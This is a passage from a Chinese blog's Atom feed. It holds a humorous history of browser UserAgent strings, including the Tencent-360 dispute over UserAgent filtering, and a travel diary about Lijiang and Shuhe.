china并不纯。国人并没能像远古大神一样，硬生生发明一个内核出来，我们更擅长“微创新”。</p><p>利用Trident（IE的内核），包装一下皮肤，美化一下，就可以说：完美兼容<br>利用Webkit，包装一下皮肤，美化一下，就可以说：极速浏览<br>把两个内核都包起来，就可以说：智能双核</p><p>是微创新！读书人的事，能叫偷吗？</p><p>在这插播一下，浏览器的“双核”，并不是你听说手机双核电脑双核那回事。再多个核，速度也不会更快，当然这么说，会显得很厉害的样子。德艺双馨，智勇双全，名利双收，才貌双绝，夫妻双双把家还，你看带“双”字的词都很牛的。</p><p>但我上面的叙述，的确有夸张的成分。浏览器的诞生，肯定不仅仅是包一下皮肤那么简单，国内的工程师们，也苦心研究做了许多工作。如果要说优化策略，我可以再写一篇超级长的文章。优化无止境，路漫漫其修远，向同行们致敬。只是我非常讨厌那些不把事实说清楚，纯粹靠文案去忽悠人的产品…</p><p>话说回来，这么多国产浏览器，总得靠不同UserAgent标志自己呀。<br>大家自动分为两个阵营：使用Trident内核的，在IE已有UserAgent后添加自己的名称；使用Webkit内核的，就在Chrome的UserAgent后面添加。</p><p>前者像QQ浏览器：<code>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.7.26717.400)</code>。<br>后者像猎豹：<code>Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 LBBROWSER</code>。<br>当然双核浏览器诚然就是墙头草，切换内核时UserAgent也需要跟着变化。</p><p>如此的混战格局，这厢的IE和Chome想必也是醉了。</p><h3 id="九、国共内战"><a href="#九、国共内战" class="headerlink" title="九、国共内战"></a>九、国共内战</h3><p>适者生存是不变的生存法则，国产浏览器们经过一段时间的用户筛选，自然优胜劣汰。时值2010年，真正还在运营和更新的浏览器数量慢慢下降，用户集中在几家表现更优异的厂商手中。就在这时，好看的故事来了——3Q大战爆发。</p><p>有人说，腾讯电脑管家的推出是导火索。其实这场仗，大家都忍了好久，推不推出，都一定会在某个事件后爆发。360浏览器是奇虎的重量级产品，用户量众多，2009年它推出一个功能：过滤其它网站的广告。诚然民众们都很喜欢。可是其他互联网公司肯定就不乐意了，用户看不到更点击不到广告，这钱还怎么赚？</p><p>因而在3Q大战爆发后，腾讯的一个手段就是：如果你使用360浏览器，就不能访问QQ的网站（单单QQ空间就有巨大的用户量），也直接反攻360的最大收入来源。一个艰难的决定背后，往往是需要无数种的技术战略支撑的。企鹅判断用户是否使用360浏览器，依靠的就是UserAgent里是否有“360SE”的字样。</p><p>战报传来：号外，360浏览器上不了QQ空间！已经买了黄钻的杀马特贵族急了呀！只能换浏览器了呀！感覺侢乜卟哙噯嘞呀！<br>2011年11月3日，腾讯网站封杀360浏览器<br>2011年11月4日，360浏览器访问量仅为昨日一半<br>2011年11月5日，360浏览器访问量几乎为0</p><p>有人说，腾讯就这么快赢了？恰恰相反，360浏览器通过一次强制的自动升级，又可以访问QQ的网站了。360的工程师们在5日使用了伪装术——把“360SE”字样从UserAgent中去掉！<br>意思就是，360浏览器的UserAgent跟IE完全一样，你根本判断不出来（因而访问量为0）。就怕流氓有文化！企鹅傻眼了，总不能把大微软的IE也一并给禁了吧…</p><p>这场土匪遇恶霸的耍流氓大战，最终通过法律而化解。企鹅在技术侧拿360没办法，而360则得到了一个跟IE一样的身份证。在这场内战中，受伤的除了广大网民们，其实还有令人心疼UserAgent君，以往让它越长越长就算了，这次长了还得阉割掉，真心dan疼呀。</p><h3 id="十、明日边缘"><a href="#十、明日边缘" class="headerlink" title="十、明日边缘"></a>十、明日边缘</h3><p>看到这里，大家会明白一个道理：如果未来不出现一款霸主级别的浏览器（或内核），UserAgent应该不会有大变化了。<br>不过，这道理并不全对。别忘了，移动侧也是有浏览器的。<br>在早期能上网的手机里，内置了各手机厂商自研的浏览器。这些浏览器并不需要像PC一样的复杂设计，可以访问wap网页就足够了。因而它们的UserAgent命名，怎么简单怎么来，就直接叫<code>诺基亚 3100 Nokia3100/06.01 (UCWEB 3.3B)</code>，<code>PHILIPS755 ObigoInternetBrowser/2.0</code> 这样，有甚者连浏览器叫什么都不带 <code>TCL-3199</code>，<code>三星 E618 SEC-SGHE618</code>。</p><p>这样任由发展下去，一种要历史重演，往日重现的即视感压迫而来。<br>web世界的联合国——W3C组织，站在明日边缘，面对着历史和未来，终于发话，它制定UserAgent标准，以后都得按这规范去起名字。详细请阅<a href="http://www.w3.org/TR/UAAG/" target="_blank" rel="noopener">User Agent Accessibility Guidelines</a>。至此，命运坎坷的UserAgent终于逐步走向规范。W3C大法好，有人说你怎么不早点来拯救世界呀！其实W3C一直在努力，但规范的制定，到推广至大家认可并执行，是一条漫长的道路，需要时间，也需要实践。<br>W3C组织，在制定web标准这件工作之外，再我看来，还有两个身份：1、和事佬；2、背黑锅。和事不成，就得背黑锅。是的就是这样。</p><h3 id="彩蛋"><a href="#彩蛋" class="headerlink" title="彩蛋"></a>彩蛋</h3><p>那么，我们的故事接近尾声。还有一些有趣的小彩蛋。</p><ol><li>Chome 28开始，与苹果正式分道扬镳，采用Blink内核，但它的UserAgent并不改变。              </li><li>淘宝封杀微信打开淘宝页面，靠的就是微信内置浏览器UserAgent里的MicroMessenger字样。其实微信也可以像当初360一样把UserAgent去掉，但微信并不这样做。                </li><li>360出招之时留有后招。也许，它一开始就想到了腾讯会告他们对于UserAgent的欺瞒，因而它其实提供了设置项。默认设置是“保持跟IE一样的UserAgent”，但用户也可以不勾选。只是这选项比较隐蔽，而且你重启浏览器后…又会变回默认设置。如果没有这个小小的设置，结果大家可以自行想象。                </li><li>微软又玩新花样了，在泄露版IE 11中，去掉了以往的MSIE字样。初步猜测此举是为了使现有的 CSS hack 失效，避免过去网页设计师对IE差别对待的情况再度发生。但又会引发其他问题啊亲。</li></ol><hr><p>End.<br>Litten 2014.10.5</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/browser-history2.jpg&quot; alt=&quot;其实应该叫做浏览器约架史&quot;&gt;    &lt;/p&gt;
&lt;p&gt;前篇&lt;a href=&quot;/2014/09/26/history-of-browser-useragent/&quot;&gt;《浏览器野史 UserAgent列传（上）》&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;六、师夷长技&quot;&gt;&lt;a href=&quot;#六、师夷长技&quot; class=&quot;headerlink&quot; title=&quot;六、师夷长技&quot;&gt;&lt;/a&gt;六、师夷长技&lt;/h3&gt;&lt;p&gt;前面说到，微软靠Windows系统捆绑IE销售。而Windows自然也有它的对手，Linux。一个技术快速发展的时代，系统的世界里也是战火纷飞。Linux系统自从有了可视化界面，也需要浏览器呀。桌面系统KDE的缔造者们就发明了一个。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="web" scheme="http://xiaocp.com/tags/web/"/>
    
      <category term="浏览器" scheme="http://xiaocp.com/tags/%E6%B5%8F%E8%A7%88%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>浏览器野史 UserAgent列传（上）</title>
    <link href="http://xiaocp.com/2014/09/26/history-of-browser-useragent/"/>
    <id>http://xiaocp.com/2014/09/26/history-of-browser-useragent/</id>
    <published>2014-09-26T03:26:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/browser-history.jpg" alt="其实应该叫做浏览器约架史">   </p><p>某天，我做一个小项目，需要判断一下浏览器类型。简单的呀。<br>控制台敲下：<code>navigator.userAgent</code><br>浏览器回应：<code>Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36</code></p><p>天，这串是啥？你怎么连话都说不清楚？</p><p>我对userAgent并不陌生，但明明一个单词就可以说清楚的事情，却是这么掏心掏肺的回答。怪可怜的，一定有冤情。</p><p>后来我查阅了很多资料，发现历史非常的精彩。</p><a id="more"></a><h3 id="大事年表"><a href="#大事年表" class="headerlink" title="大事年表"></a>大事年表</h3><ul><li>1990年: Nexus(WorldWideWeb)诞生</li><li>1993年1月23日：Mosaic诞生</li><li>1994年12月：Netscape(Mozilla)诞生</li><li>1995年4月：Opera诞生</li><li>1995年8月16日：Internet Explorer诞生</li><li>2002年9月23日：Firefox诞生</li><li>2003年1月7日：Safari诞生</li><li>2008年9月2日：Chrome诞生</li></ul><h3 id="一、盘古开天地"><a href="#一、盘古开天地" class="headerlink" title="一、盘古开天地"></a>一、盘古开天地</h3><p>很久很久之前，上古大神Berners-Lee发明了WorldWideWeb，即万维网。同时，李大神也发明了第一款浏览器。真是具有跨时代意义的工具呀，好伟大呀，人们在想，叫什么好呢？<br>但大神就是大神，大神内心的想法又岂是尔等凡人能够肆意揣摩？</p><p>万万没想到，李大神说，我这浏览器，也叫WorldWideWeb！不行么？<br>行行行。</p><p>虽然李大神起名字这么拽，但他后来发觉，还是得赋予一点承上启下的历史意义，就改名成“Nexus”。值得注意的是，这浏览器，居然是可以兼容Unix跟Microsoft DOS的。它在当时流行的各种电脑上跑得飞起，应用也越来越广，被称为“杀手级应用”。杀手级…你们看互联网一开始就是这么的腥风血雨。</p><p>但这个浏览器，还不支持图片的显示，这是出现UserAgent的导火索。</p><h3 id="二、唐尧虞舜"><a href="#二、唐尧虞舜" class="headerlink" title="二、唐尧虞舜"></a>二、唐尧虞舜</h3><p>93年，伊利诺大学的NCSA组织认为，浏览器无图无真相，这不好。因而他们发明了第一款可显示图片的浏览器。<br>真是具有跨时代意义的工具呀，好伟大呀，人们在想，叫什么好呢？<br>但大神就是大神，大神就是连起名字都让你惊心动魄。</p><p>NCSA组织说，它能显示图片，偏偏我们就要叫它“马赛克(Mosaic)”！不行么？<br>行行行。  </p><p>但有人就问了，Nexus不显示图片，Mosaic能显示，你们让html提供者怎么写代码？你们是不是想逼死选择困难症患者？有没有考虑过天秤座的感受？</p><p>因而UserAgent就诞生了。Mosaic将自己标志为<code>NCSA_Mosaic/2.0 (Windows 3.1)</code>，大家该怎么写代码就怎么写，但请求会带上这个信息，服务器就知道该不该返回能显示图片的html。UserAgent君，出生时跟我们设想的一样简单，仅仅标明了自己是什么浏览器，在什么系统运行，以及各自的版本号。</p><p>新旧浏览器们像彬彬有礼的君王，商议和让位是为了更好的繁荣。但风雨欲来。</p><h3 id="三、楚汉争霸"><a href="#三、楚汉争霸" class="headerlink" title="三、楚汉争霸"></a>三、楚汉争霸</h3><p>像刘邦一样，走出来一个搅局的小流氓。当然他还是很有志向的，他的目标，就是战胜霸主Mosaic。后来，他还真的做到了。<br>如今，所有现代浏览器的UserAgent里都有它的标志，就像汉朝之后，我们都称为“汉”人。一群很有天赋的程序员，一起缔造了它的辉煌。</p><p>真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？<br>但大神就是大神，大神就是让你永远也猜不到他们想了个什么名字。<br>大神们说，叫Mozilla，不行么？<br>行。但什么意思呢？</p><p>含义有二。其一，哥斯拉(Godzilla)谐音，诚然是一头野心勃勃的怪兽；其二，”Mosaic Killa”之意，Killa是俚语中Killer的拼法，即“马赛克的终结者”，赤裸裸的挑战。  </p><p>惊呆了的Mosaic小心翼翼的念着Mozilla这发音：“Mo…摸咋了？”勃然大怒，“摸你妹！”</p><p>鉴于Mosaic当时的权势，Mozilla改名成Netscape Navigator(网景航海家)。小怪兽突然变成有点文艺小清新的名字，郁闷得很，但内心的血液沸腾着。虽然叫大名叫网景，但它把UserAgent偷偷设置成<code>Mozilla/1.0 (Win3.1)</code>。还是摸咋了？咬我？</p><h3 id="四、宋元之战"><a href="#四、宋元之战" class="headerlink" title="四、宋元之战"></a>四、宋元之战</h3><p>很快，NetScape战胜了Mosaic，成为了新的霸主，因为其更优的展示。<br>NetScape最先支持了html框架显示，就是简单的table布局，内外边距之类，仅仅这点就将Mosaic抛诸身后。区别这两个浏览器，还是用的UserAgent。如果是UserAgent里含有“Mozilla”字样，那就发送支持框架的页面，否则，就发送不含框架的页面。  </p><p>NetScape帝国日益庞大，歌舞升平，一切风平浪静，直到微软的铁骑挥军南下。</p><p>微软发布了一款跟系统强绑定的浏览器，真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？<br>不用想了，就是IE。这命名也相当简单粗暴，Internet Explorer，直接把这工具的用途拍在你脸上。连说明书都可以免了。</p><p>IE也是支持html标准框架的，但由于前面的历史原因，人们只会给UserAgent里含有“Mozilla”字样的浏览器发送含框架的页面。但这点小事能难倒我大微软？IE呵呵一笑，把自己的UserAgent改成<code>Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)</code>。看，我这里也有“Mozilla”字样，也能收到含框架的页面了！</p><p>当然，这个小流氓行为，跟后来把IE和Windows捆绑一起销售的大流氓行为比起来，根本不为足道。后面的故事我们也知道了，IE把NetScape干掉了。但它的身体上，却永远的烙上了“Mozilla”的印记。</p><h3 id="五、康乾盛世"><a href="#五、康乾盛世" class="headerlink" title="五、康乾盛世"></a>五、康乾盛世</h3><p>看过奥特曼的都知道，怪兽被打败了会再回来。别忘了NetScape曾拥有一批大神们，失败后，他们围绕着浏览器排版引擎Gecko(壁虎)成立了非正式组织Mozilla。小怪兽再次出发。大神们发明了另一款优秀的浏览器，它在插件拓展和开发调试领域做出的贡献，绝对可以载入互联网历史。</p><p>真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？<br>但大神就是大神，大神就是即使你知道了Mozilla的命名都是野兽，却还是猜不到是什么。<br>Mozilla说，我们浴火重生，叫Phoenix(凤凰)！不行么？<br>真不行。</p><p>刚推出就被人告了，原来已经有一家公司叫做“凤凰科技”。<br>Mozilla瀑布汗，改名叫Firebird(火鸟)！还不行么？<br>我们得原谅一下他们的取名，虽然现在看来满满的山寨感，可放在那个时代，Firebird这名字很炫酷。就像你当初的QQ昵称叫赤炎天使感觉依然良好一样。</p><p>但是，他们发现，业内有个数据库系统，也叫的Firebird…泪流满面的Mozilla感慨重生好难呀。最后才决定叫Firefox(火狐)。     </p><p>基于Gecko引擎的Firefox非常优秀，为了告诉大家，我使用了这个引擎，它标志自己的UserAgent为<code>Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0</code>。<br>这时候的UserAgent，虽然长了点，但它并不混乱，准确的标明了系统，排版引擎，浏览器名称等信息。虽然IE这时已经占有了很大的市场份额，但基本停步不前；而Mozilla经过一段时间的修生养息，Firefox在业内广受好评，得到了快速的发展。</p><p>时值2003年，web2.0的浪潮前夕，浏览器的发展达到了空前的盛世。<br>然而所谓否极泰来，盛极则衰。涅槃的Firefox迎来盛世，却又恰恰由于盛世，决定了UserAgent纠结的命运。</p><hr><p><a href="/2014/10/05/history-of-browser-useragent2/">《浏览器野史 UserAgent列传（下）》</a></p><p>To Be Continue.<br>litten 2014.9.28</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/browser-history.jpg&quot; alt=&quot;其实应该叫做浏览器约架史&quot;&gt;   &lt;/p&gt;
&lt;p&gt;某天，我做一个小项目，需要判断一下浏览器类型。简单的呀。&lt;br&gt;控制台敲下：&lt;code&gt;navigator.userAgent&lt;/code&gt;&lt;br&gt;浏览器回应：&lt;code&gt;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;天，这串是啥？你怎么连话都说不清楚？&lt;/p&gt;
&lt;p&gt;我对userAgent并不陌生，但明明一个单词就可以说清楚的事情，却是这么掏心掏肺的回答。怪可怜的，一定有冤情。&lt;/p&gt;
&lt;p&gt;后来我查阅了很多资料，发现历史非常的精彩。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="web" scheme="http://xiaocp.com/tags/web/"/>
    
      <category term="浏览器" scheme="http://xiaocp.com/tags/%E6%B5%8F%E8%A7%88%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>还是丽江有意思</title>
    <link href="http://xiaocp.com/2014/09/26/journey-to-yunnan/"/>
    <id>http://xiaocp.com/2014/09/26/journey-to-yunnan/</id>
    <published>2014-09-25T16:53:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/lijiang.jpg" alt="丽江古城">   </p><p>回来时给每个身边的好朋友都带了小礼物，最后却发现忘了给自己带。只有旅行时写的一些日记。蠢哭。</p><h2 id="无可救药"><a href="#无可救药" class="headerlink" title="无可救药"></a>无可救药</h2><p>丽江这个地方，只要稍微给它写点文字，就会无一例外显得矫情。</p><p>天这么蓝，你不能不望。他们说，你看这天真他妈蓝。<br>吉他太动人，你不能不听。他们说，靠 ，大爷你NB。<br>酒喝得畅快，你不能不喝。他们笑着说，看你爽成那傻X样。</p><p>后来我终于明白：用粗俗的话去回避情感。因为这个地方，真是太TMD容易矫情了。<br>矫情是病，得治。荒诞又真实的人们认为，粗话是最温柔的良方…</p><p>只有在这说上几句，才觉得真实。这种感觉非常的微妙，就好像蜜糖太甜了，你必须去掺点无味的白水。又好比你与班上喜欢的一个姑娘相遇相视，她朝你微笑，你的眼神却飘忽云外。心如鹿撞，表现却一定得毫不在意。哥的心就是一块磐石，脸皮不重要，原则也不重要，重要的就是这不为所动的气场！老天才懂得解释这种诡异的现象。</p><p>结果白云悠悠，蓝天依旧。蜜糖还是甜。我们还是一群神经病。</p><a id="more"></a><h2 id="总有人幸福"><a href="#总有人幸福" class="headerlink" title="总有人幸福"></a>总有人幸福</h2><p>其实可以想象。一个小镇，依山傍水，不经战火，在几百年上千年的时间里，太阳的万丈光华挥洒其中，自然而然就会像酒一样越来越醇。<br>来丽江之前，很多朋友就跟我说，你可能要失望的，这酒，包装太商业化了。第一天在丽江，第一个印象是民谣吉他缓缓流过商业化的四方街，其实没有惊喜，也没有失望。一切刚刚好。</p><p>后来我们每个晚上都跑古城，就越来越轻车熟路。小路直奔大水车，沿着满街的《一瞬间》走到四方街，左边吃的，右边酒吧。我喜欢这么简单的路线，连我这路痴都无所畏惧。但后来我又想，让我在这迷路一次也行呀。</p><p>有一天晚上，跟小草，jeep，karl一起去love wine &amp; 9酒吧。这里一男一女的驻唱，吉他与纳西手鼓相映相和，节拍流淌似水。“风花雪月”一瓶接着一瓶入喉，我觉得自己像一条鱼。酒是个好东西，所有的向往所有的忧虑所有的惆怅所有的欢乐，都可以借此浸泡在沉思里。往事的大浪滔滔，倒流的是一些水，你又会觉得跟鱼无关。这个时候，各自陈旧的心锁一一被瓦解，听着别人的故事感觉是自己的独白。每个人自有自的欢乐与悲伤，酒和音乐是大功率的放大器，将内心的电波投射到夜里，管它有没有听众。</p><p>而后我说，但夜里不该只聊孤独，迷茫与悔恨，此时此刻还是有幸福的东西呀。你们看那两个驻唱，他们是一对。能一起唱歌多幸福！<br>他们说，你怎么看出是一对？<br>我说，他们自己说的，你们没听见。<br>他们说，即使是一对，也不见得幸福，只是你看起来他们幸福。</p><p>直到他们唱到《安阳》——</p><blockquote><p>所有的人都醉了<br>  请为我点盏灯火<br>  在夜里静静歌唱<br>  回忆是淡淡忧伤…         </p></blockquote><p>妈蛋我最喜欢听的这首歌，此刻才最有感觉。<br>以前我觉得那个“点盏灯火”的人，应该是个还醒着的人，或许是个温柔的女孩，来找醉了的“我”；现在突然觉得，既然所有人都醉了，点灯的人应该就是自己。但他并不孤独，因为，所有的人都陪他醉了。</p><p>你们的眼睛都瞎了？两人唱完最后一首粤语歌，下楼梯还拉着手。我不相信他们不幸福。未来和过去不必讲，至少此时此刻。</p><h2 id="把我埋葬在深深的凉粉里"><a href="#把我埋葬在深深的凉粉里" class="headerlink" title="把我埋葬在深深的凉粉里"></a>把我埋葬在深深的凉粉里</h2><p>比起古城，我更喜欢束河。<br>白天人少，许多店铺十点多还没开门。有天一早，就跟小草去束河。两人写完明信片，走出“时光漫步”，往右一看，好家伙，没有一个人，一条路居然可望到尽头，蓝天与青石相接，两旁建筑静谧慵懒，好像所有的生灵都躲着我们不敢出来。小草说，没有人的古镇才有味道。我心里也被震撼住了，我说，是呀，但我的确闻到了好香的味道。</p><p>鸡豆凉粉。</p><p>胖乎乎的凉粉块好似肥肉，老婆子拿小铁皮切开，这就蹦跳着下锅啦。起油锅，洋洋洒洒铺一层油，凉粉们说，不对，脚底有点疼，老子不干了，生气了，就在上面滑溜溜的跳啊闹啊。青绿色慢慢变黄，翻一下，不敢用力，太嫩了怕翻烂。凉粉们还唱起了歌，滋滋滋的瞎叫。老婆子一看凉粉们在求饶，怪可怜的，就让他们跳到铲子上来。这边姜蒜辣椒切得了，扔上一把，趁着凉粉的热气，一凑合，一搅拌，齐活了。</p><p>开始惴惴不安，其一，这世界上原来还有热的凉粉？其二，这世界还有块状的凉粉？不过管它呢，都到我碗里来。<br>咬一口，辣椒让凉粉的味道活了，鲜香饱满，温润通畅。<br>其三，世界上原来还有这么好吃的凉粉呀…</p><h2 id="去哪儿"><a href="#去哪儿" class="headerlink" title="去哪儿"></a>去哪儿</h2><p>好比，一个女子，老了就应该优雅智慧，从容端庄，这是她最真实的美丽。假如她还假装纯真烂漫，恐怕是令人啼笑的。<br>一座古城也应该这样。无线电波包围你我，Wifi和3G横穿马路，难不成在古城通讯还得飞鸽传书？这不真实。丽江很真实，至少从某种意义来说。这样的地方，才不容易玩腻。</p><p>如果真的玩腻了，那就离开丽江。<br>上雪山在阳光里运动运动。<br>要么去拉市海骑马，看看日出。<br>要么去泸沽湖，白天风景，晚上火塘。<br>再去香格里拉，到松赞林寺看下喇嘛。<br>或者到普达措转一圈，看看湖里的白云。<br>晚上约上几个朋友，再到独克宗找个地方喝酒。聊聊天，随便做点什么。</p><p>几天下来，你就会发现，还是丽江有意思。</p><p>THE END.<br>2014.9.26</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/lijiang.jpg&quot; alt=&quot;丽江古城&quot;&gt;   &lt;/p&gt;
&lt;p&gt;回来时给每个身边的好朋友都带了小礼物，最后却发现忘了给自己带。只有旅行时写的一些日记。蠢哭。&lt;/p&gt;
&lt;h2 id=&quot;无可救药&quot;&gt;&lt;a href=&quot;#无可救药&quot; class=&quot;headerlink&quot; title=&quot;无可救药&quot;&gt;&lt;/a&gt;无可救药&lt;/h2&gt;&lt;p&gt;丽江这个地方，只要稍微给它写点文字，就会无一例外显得矫情。&lt;/p&gt;
&lt;p&gt;天这么蓝，你不能不望。他们说，你看这天真他妈蓝。&lt;br&gt;吉他太动人，你不能不听。他们说，靠 ，大爷你NB。&lt;br&gt;酒喝得畅快，你不能不喝。他们笑着说，看你爽成那傻X样。&lt;/p&gt;
&lt;p&gt;后来我终于明白：用粗俗的话去回避情感。因为这个地方，真是太TMD容易矫情了。&lt;br&gt;矫情是病，得治。荒诞又真实的人们认为，粗话是最温柔的良方…&lt;/p&gt;
&lt;p&gt;只有在这说上几句，才觉得真实。这种感觉非常的微妙，就好像蜜糖太甜了，你必须去掺点无味的白水。又好比你与班上喜欢的一个姑娘相遇相视，她朝你微笑，你的眼神却飘忽云外。心如鹿撞，表现却一定得毫不在意。哥的心就是一块磐石，脸皮不重要，原则也不重要，重要的就是这不为所动的气场！老天才懂得解释这种诡异的现象。&lt;/p&gt;
&lt;p&gt;结果白云悠悠，蓝天依旧。蜜糖还是甜。我们还是一群神经病。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
      <category term="生活" scheme="http://xiaocp.com/tags/%E7%94%9F%E6%B4%BB/"/>
    
  </entry>
  
</feed>
